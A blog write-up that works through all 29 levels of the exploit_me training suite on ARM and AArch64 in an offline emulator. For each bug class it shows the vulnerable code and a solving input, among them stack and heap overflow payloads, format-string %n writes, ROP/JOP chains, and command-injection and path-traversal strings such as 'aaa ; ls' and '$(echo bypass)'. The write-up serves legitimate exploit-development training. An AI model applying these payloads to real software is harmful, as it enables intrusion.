Post

29 Ways to Break ARM: Working Through exploit_me on ARM and AArch64

A tour of all 29 levels of bkerler's exploit_me, one vulnerability class per level, solved and verified on both 32-bit ARM and AArch64 under qemu-user. Integer bugs, stack and heap overflows, UAF, double-free, ROP, JOP, type confusion, format strings, and the injection/race classes a VR role still meets.

29 Ways to Break ARM: Working Through exploit_me on ARM and AArch64

My exploit-dev ladder so far has been x86-64. I wanted the same muscle memory on ARM and AArch64, because that’s where mobile and embedded targets live. Rather than build my own range, I worked through bkerler’s exploit_me: 29 levels, each isolating a single vulnerability class, built to be solved on both 32-bit ARM and 64-bit ARM. Every level prints the next level’s password when you solve it, so the whole thing chains start to finish.

This is the overview of all 29. One level — the zero-pointer write in Level 9 — turned into its own debugging story when the published answer failed under emulation; I pulled that out into a separate post.

exploit_me is MIT-licensed training material. Everything ran offline in an emulated sandbox. The point is to learn each bug class on the smallest possible target.

How I ran it

The binaries are statically-linked ARM/AArch64 ELFs, so on my x86-64 box they run under qemu-user, inside a container with no network. AArch64 runs under setarch -R so ASLR is off and the leak-based levels line up between runs:

1
2
3
4
# 32-bit ARM
qemu-arm ./bin/exploit <level_password> <args...>
# 64-bit AArch64
setarch x86_64 -R qemu-aarch64 ./bin/exploit64 <level_password> <args...>

I verified all 29 on both architectures — 58 solves in total. The full per-level transcripts (both arches) are in the repo’s docs/ folder. Below, each level is the vulnerable code, the input that solves it, and why it works.

The ARM/AArch64 differences that actually bite

Before the levels, the things that made me read the AArch64 version rather than assume the x86 shape carries over:

  • Pointer width and the frame record. AArch64 saves the frame pointer and the link register together (stp x29, x30, [sp, ...]), and the return target is that saved x30, not a return address pushed by a call. Offsets and pointer widths change accordingly.
  • 16-byte stack alignment. AArch64 is stricter, which (as Level 9 taught me) can hide a bug that 32-bit ARM exposes.
  • Gadget shapes. ROP/JOP gadgets look like ldp x0, x1, [sp]; ... ; br x2 on AArch64 versus pop {r0,r1,r2,r3,pc} on ARM.

Integer bugs

Level 1 — Integer / short overflow · input 65536

1
2
3
4
5
unsigned short number; int i = atoi(value); unsigned int h=i;
if (h<=0) exit;              // 65536 > 0, passes
number=i;                    // truncates to 16-bit -> 0
if (number!=0) exit;         // skipped
if (i<0 || number==0) win;   // number==0 -> win

65536 = 0x10000 survives the >0 check as a 32-bit int but truncates to 0 once narrowed into a 16-bit unsigned short. Width-truncation, the simplest integer bug.

Level 17 — Signedness bug · input -1

1
2
3
4
5
int length=atoi(arg);
if (length<64) {                                   // -1 < 64 passes
    unsigned int copy_length=(unsigned int)length; // -1 -> 4294967295
    if (copy_length>1024) win;
}

A negative int passes a signed upper-bound check, then becomes a huge unsigned. This is the exact shape behind countless memcpy(dst,src,len) overflows where len was validated signed and used unsigned.

Level 18 — Integer multiplication overflow · input 16384

1
2
3
unsigned int count=atoi(arg);                   // 16384
unsigned short bytes=(unsigned short)(count*4); // 65536 -> 0 in 16 bits
if (count>1024 && bytes<32) win;

16384*4 = 65536 wraps to 0 in a 16-bit value — a size computed by multiplication overflowing to something tiny, which is how undersized allocations get made right before a big copy.


Stack, array, and the off-by-one

Level 2 — Stack overflow (overwrite saved return)

1
char buffer[8]; strcpy(buffer, username); ... strcpy(buffer, password);

buffer[8], unchecked strcpy. The overflow runs past the buffer to the saved return and lands a pointer to level3password(). On 32-bit the payload is admin / aaaabbbbcccc + &level3password; on AArch64 the offset and the 8-byte pointer width differ because the return target is the saved link register.

Level 3 — Array overflow (OOB write primitive)

1
2
int array[32];
array[position]=value;   // position unchecked

array[position]=value with no bounds check is an arbitrary relative write. Index past array[32] onto the saved return slot and set value to &level4password — position 33 on ARM, 34 on AArch64.

Level 4 — Off-by-one (the terminating NUL) · input A*256

1
2
3
4
char flag[1]={1}; char buffer[256];   // packed
if (strlen(arg)>256) exit;            // exactly 256 allowed
strcpy(buffer,arg);                   // writes 256 bytes + 1 NUL
if (flag[0]==0) win;

The check is >256, so 256 bytes pass — but strcpy also writes the NUL terminator one byte past the buffer, into flag[0]. The single overflowing byte is the string’s own \0.

1
2
3
4
unsigned int stack_cookie = secret;   // secret = 0x1337
char flag[1]; char tmp[64]; strcpy(tmp,arg);
if (stack_cookie != secret) exit;
if (flag[0]==1) win;

To flip flag[0] you overflow tmp[64], but the overflow crosses the cookie — so you rewrite it with its known value. The hint leaks 0x1337, so the tail is \x37\x13. The toy version of “leak the canary, then write it back.”


Heap bugs

Level 7 — Heap overflow (adjacent field) · input A*(40|48) + "cg"

1
2
3
struct { char data[40|48]; int magic; } *chunk = new ...;
strcpy(chunk->data, text);           // overflow into magic
if (chunk->magic == 0x6763) win;     // "cg"

Overflowing data writes into the adjacent magic in the same chunk. Filler is 40 bytes on ARM, 48 on AArch64 — the field offset moves with pointer alignment.

Level 16 — Double free (aliased allocations) · input A*16 + "DDDF"

1
2
3
4
a=toy_alloc(); toy_free(a); toy_free(a);  // freelist holds a twice
b=toy_alloc(); c=toy_alloc();             // b and c are the SAME chunk
strcpy(b->data,arg);
if (c->magic==0x46444444) win;            // "DDDF"

The chunk is on the freelist twice, so b and c alias the same memory and a write through b changes what c sees — the real consequence of a double free.

Level 20 — Uninitialized memory read · input spray

1
2
3
4
void *raw=malloc(sizeof(LeakRecord));
... // "spray" primes the chunk with 0x4c45414b
printf("Leaked auth: 0x%x\n",record->auth);  // read without init
if (record->auth==0x4c45414b) win;           // "LEAK"

malloc doesn’t zero memory. The win needs the heap to already hold the magic value — how uninitialized reads leak stale heap data in real code.

Level 27 — Heap metadata corruption · input A*40 + "KNIL"

1
2
3
MetaChunk chunks[2];   // {char data[16]; uint size; uint inuse;}
strcpy(chunks[0].data,arg);   // overflow into chunks[1]'s header
if (chunks[1].size==0x4c494e4b && chunks[1].inuse==0) win;  // "LINK"

Overflowing one chunk’s data overwrites the metadata of the next — the essence of classic heap-metadata attacks. A*40 reaches size, "KNIL" writes 0x4c494e4b, and the trailing NUL clears inuse.


Reads past the end

Level 21 — Out-of-bounds read · input 3

1
2
3
struct { const char *items[3]; const char *hidden; } vault = { {...}, password };
const char *value=vault.items[index];   // index 3 -> one past -> hidden
if (value==vault.hidden) win;

items[3] is one past the 3-element array, landing on hidden. An OOB read discloses adjacent memory — the Heartbleed shape in miniature.

Level 25 — Unsafe parser / deserialization · input 12:AAAAAAAAPLSE

1
2
3
4
struct { char payload[8]; int magic; } packet;
int length=atoi(arg);                 // trusted length field
memcpy(packet.payload, data, length); // 12 into an 8-byte buffer
if (packet.magic==0x45534c50) win;    // "PLSE"

A length-prefixed format where the length is trusted. 12 bytes into an 8-byte payload overflows into magic. The shape of most deserialization memory bugs: a size from the stream drives a copy.


Control-flow hijack

Level 8 — Type confusion / vtable overwrite

1
2
3
4
Root *b = new Msg();  Root *a = new Run();
Run *g = static_cast<Run*>(a);
char tmp[64]; strcpy(tmp,arg);   // overflow
g->run(tmp);                     // virtual call through g's vtable

g->run() dispatches through a vtable pointer. The overflow replaces it so the call lands in Msg::msg (prints the password) instead of Run::run. The exploit leaks b’s address first, then overflows with A*fill + &b.

Level 9 — Zero pointer (arbitrary write of 0)

The zero-pointer write, where the published answer went stale under qemu and argv length moved the target. Full story in its own post.

Level 12 — Return-oriented programming (ROP)

1
2
char buffer[60];
memcpy(buffer,arg,strlen(arg)*2);   // the "bad typo" -> 2x copy

The *2 length bug gives the overflow. The payload is a ROP chain: filler, a gadget that pops registers off the stack (ldp x0,x1,[sp]... on AArch64, pop {r0,r1,r2,r3,pc} on ARM), controlled values, then comp2() which checks for 0x5678.

Level 14 — Jump-oriented programming (JOP) · token file

1
2
3
4
void (*caller)(int,char*)={showflag};
char buffer[32];
fread(&length,1,4,fr); fread(&buffer,1,length,fr);  // unchecked length -> overflow
caller(flag,buffer);     // indirect call through overwritten pointer

A length-prefixed file read overflows buffer and clobbers the caller pointer. The token steers the indirect call to a JOP gadget that loads registers and branches. ROP’s cousin, chaining through jumps instead of returns.

Level 19 — Null / uninitialized function pointer · input recover

1
2
3
void (*handler)()=NULL;
if (!strcmp(arg,"recover")) handler=[](){ win(); };
if (handler!=NULL) handler();

The pointer starts NULL; only the right input assigns a valid handler before the call. Models the danger of calling through a pointer that may never have been initialized.

Level 28 — Function-pointer control flow · input CALLSYS

1
2
3
void (*caller)()={0}; char buffer[32]; strcpy(buffer,arg);
if (strstr(buffer,"CALLSYS")) caller=level29password;
if (caller!=0) caller();

Isolates the primitive every overflow level was chasing: control of an indirect call target is control of execution.

Level 29 — Dangling stack pointer · input STACKWIN

1
2
3
4
5
void save_stack_pointer(){ char first[32]; dangling_stack_ptr=first; } // addr of a local
void reuse_stack_slot(char *arg){
    char second[32]; strcpy(second,arg);              // reuses that slot
    if (!strcmp(dangling_stack_ptr,"STACKWIN")) win;  // read through a stale pointer
}

save_stack_pointer stores the address of a local that dies when it returns; reuse_stack_slot reuses the same region. Writing second changes what the stale pointer sees — the stack analogue of use-after-free.


Format strings

Level 6 — Format string (write via %n)

1
2
3
int good='N'; int *p=&good;
fgets(Password,...,stdin); printf(Password);  // user-controlled format string
return (char)(*p);                            // must become 'Y'

printf(user_input) is the bug. %n writes the printed-char count to a stack pointer; the payload walks the stack to &good and writes 'Y' (0x59). 32-bit: %08x%08x%08x%65c%n; 64-bit: %16lx×9 + %201c%n — the width and argument positions differ by ABI.

Level 15 — Stable format-string write · input %75c%1$n

1
2
3
int flag=0;
printf(arg,&flag);     // &flag is the first vararg
if (flag==75) win;

Because &flag is passed as the first argument, %1$n writes straight to it — a reliable write with no stack-walking. %75c prints 75 chars, so %1$n stores 75.


Use-after-free

Level 13 — Use-after-free · options 0132 + stdin

1
2
3
4
5
// '0'=new '1'=free '3'=fill '2'=run, processed left to right
mappingptr = malloc(512); ... function=run;     // 0
destroymapping(); free(mappingptr);             // 1 (pointer kept)
fillmapping(input);   // 3: malloc(512) returns the freed chunk; input overwrites function
if (mappingptr->function != run) level13password();  // 2

After free, mappingptr dangles. The next same-size malloc returns the chunk, and the input overwrites the function pointer. UAF via allocator chunk reuse.


The non-memory classes a VR role still meets

Level 10 — Command injection · input aaa ; ls

system("man " + argv[2]) — ; ends the intended command and runs another.

Level 11 — Path traversal · input dir1/dir2/../../

The check validates only the start of the path; ../../ then climbs out.

Level 22 — TOCTOU path race · input safe.txt secret.txt

Checks one path, acts on another — the time-of-check/time-of-use gap made explicit.

Writing a predictable temp path that an attacker pre-created as a symlink lands the write on the link target. Fix: O_CREAT|O_EXCL / mkstemp.

Level 24 — Environment variable injection · EXPLOIT_HELPER=pwned

Trusting an env var as input — the family of LD_PRELOAD / PATH / IFS bugs.

Level 26 — Filtered command injection · input $(echo bypass)

A blocklist that filters only ; misses command substitution $(...) and backticks. Blocklists lose; allowlists and execve (no shell) win.


Takeaways

  • The bug classes are the vocabulary; ARM is the accent. The same taxonomy I know from x86-64 is all here, but the AArch64 frame record, the saved link register as return target, 16-byte alignment, and the ldp/br gadget shapes force you to actually read the 64-bit code instead of pattern-matching the 32-bit one.
  • Emulation is not neutral. Running under qemu-user changed stack addresses enough to break a hard-coded solution outright (Level 9). Leak-based exploits survived; absolute-address ones didn’t.
  • Test both architectures. AArch64’s stricter alignment hid a bug that 32-bit ARM exposed. “It passed on 64-bit” is not proof your understanding is right.
  • One level per bug class is a good map. Having all 29 in front of me — integer, stack, heap, OOB, UAF, double-free, format string, ROP/JOP/vtable/function-pointer, plus injection, traversal, TOCTOU and env — is a compact checklist of what to look for in real code.

The full per-level run transcripts for both architectures are in the repo’s docs/ folder. The one level worth reading on its own is the Level 9 zero-pointer writeup — the published answer was stale under emulation, and chasing down why taught me more than the 28 that just worked.

This post is licensed under CC BY-NC-ND 4.0 by the author.